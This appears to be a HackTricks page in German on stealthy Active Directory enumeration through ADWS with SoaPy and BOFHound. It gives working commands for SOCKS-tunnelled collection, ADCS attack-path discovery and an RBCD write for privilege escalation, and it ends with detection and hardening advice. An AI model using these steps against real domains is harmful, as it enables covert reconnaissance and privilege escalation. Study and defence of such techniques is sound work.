Active Directory Web Services (ADWS) Enumeration & Stealth Collection
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist ADWS?
Active Directory Web Services (ADWS) ist standardmäßig auf jedem Domänencontroller seit Windows Server 2008 R2 aktiviert und hört auf TCP 9389. Trotz des Namens ist kein HTTP beteiligt. Stattdessen exponiert der Dienst LDAP-ähnliche Daten durch einen Stapel proprietärer .NET-Frame-Protokolle:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Da der Datenverkehr in diesen binären SOAP-Frames gekapselt ist und über einen ungewöhnlichen Port reist, ist die Enumeration über ADWS weitaus weniger wahrscheinlich, dass sie inspiziert, gefiltert oder signiert wird als klassischer LDAP/389 & 636 Verkehr. Für Betreiber bedeutet dies:
- Stealthier Recon – Blaue Teams konzentrieren sich oft auf LDAP-Abfragen.
- Freiheit, von nicht-Windows-Hosts (Linux, macOS) zu sammeln, indem 9389/TCP durch einen SOCKS-Proxy getunnelt wird.
- Die gleichen Daten, die Sie über LDAP erhalten würden (Benutzer, Gruppen, ACLs, Schema usw.) und die Fähigkeit, Schreibvorgänge durchzuführen (z. B.
msDs-AllowedToActOnBehalfOfOtherIdentity
für RBCD).
HINWEIS: ADWS wird auch von vielen RSAT GUI/PowerShell-Tools verwendet, sodass der Datenverkehr mit legitimen Administrationsaktivitäten vermischt werden kann.
SoaPy – Native Python-Client
SoaPy ist eine vollständige Neurealisierung des ADWS-Protokollstapels in reinem Python. Es erstellt die NBFX/NBFSE/NNS/NMF-Frames bytegenau und ermöglicht das Sammeln von Unix-ähnlichen Systemen, ohne die .NET-Laufzeit zu berühren.
Hauptmerkmale
- Unterstützt Proxying über SOCKS (nützlich von C2-Implantaten).
- Fein abgestimmte Suchfilter identisch zu LDAP
-q '(objectClass=user)'
. - Optionale Schreib-Operationen (
--set
/--delete
). - BOFHound-Ausgabemodus für die direkte Eingabe in BloodHound.
--parse
-Flag zur Verschönerung von Zeitstempeln /userAccountControl
, wenn menschliche Lesbarkeit erforderlich ist.
Installation (Operator-Host)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
Stealth AD Collection Workflow
Der folgende Workflow zeigt, wie man Domain- und ADCS-Objekte über ADWS enumeriert, sie in BloodHound JSON konvertiert und nach zertifikatbasierten Angriffspfaden sucht – alles von Linux aus:
-
Tunnel 9389/TCP vom Zielnetzwerk zu deinem Rechner (z.B. über Chisel, Meterpreter, SSH dynamisches Port-Forwarding usw.). Exportiere
export HTTPS_PROXY=socks5://127.0.0.1:1080
oder verwende SoaPy’s--proxyHost/--proxyPort
. -
Sammle das Root-Domain-Objekt:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Sammeln Sie ADCS-bezogene Objekte aus der Konfigurations-NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- In BloodHound umwandeln:
bofhound -i data --zip # produces BloodHound.zip
- Laden Sie die ZIP in die BloodHound-GUI hoch und führen Sie Cypher-Abfragen wie
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
aus, um Zertifikatseskalationspfade (ESC1, ESC8 usw.) offenzulegen.
Schreiben von msDs-AllowedToActOnBehalfOfOtherIdentity
(RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Kombinieren Sie dies mit s4u2proxy
/Rubeus /getticket
für eine vollständige ressourcenbasierte eingeschränkte Delegation-Kette.
Erkennung & Härtung
Ausführliches ADDS-Logging
Aktivieren Sie die folgenden Registrierungsschlüssel auf Domänencontrollern, um teure / ineffiziente Suchen von ADWS (und LDAP) sichtbar zu machen:
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
Ereignisse erscheinen unter Directory-Service mit dem vollständigen LDAP-Filter, selbst wenn die Abfrage über ADWS eingegangen ist.
SACL Canary Objects
- Erstellen Sie ein Dummy-Objekt (z.B. deaktivierter Benutzer
CanaryUser
). - Fügen Sie eine Audit ACE für das Everyone Prinzipal hinzu, die auf ReadProperty geprüft wird.
- Jedes Mal, wenn ein Angreifer
(servicePrincipalName=*)
,(objectClass=user)
usw. ausführt, gibt der DC Event 4662 aus, das die echte Benutzer-SID enthält – selbst wenn die Anfrage proxyisiert oder von ADWS stammt.
Elastic vorgefertigtes Regelbeispiel:
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
Tooling Summary
Zweck | Tool | Anmerkungen |
---|---|---|
ADWS Enumeration | SoaPy | Python, SOCKS, lesen/schreiben |
BloodHound Ingest | BOFHound | Konvertiert SoaPy/ldapsearch Protokolle |
Zertifikat Kompromittierung | Certipy | Kann über denselben SOCKS proxyisiert werden |
References
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.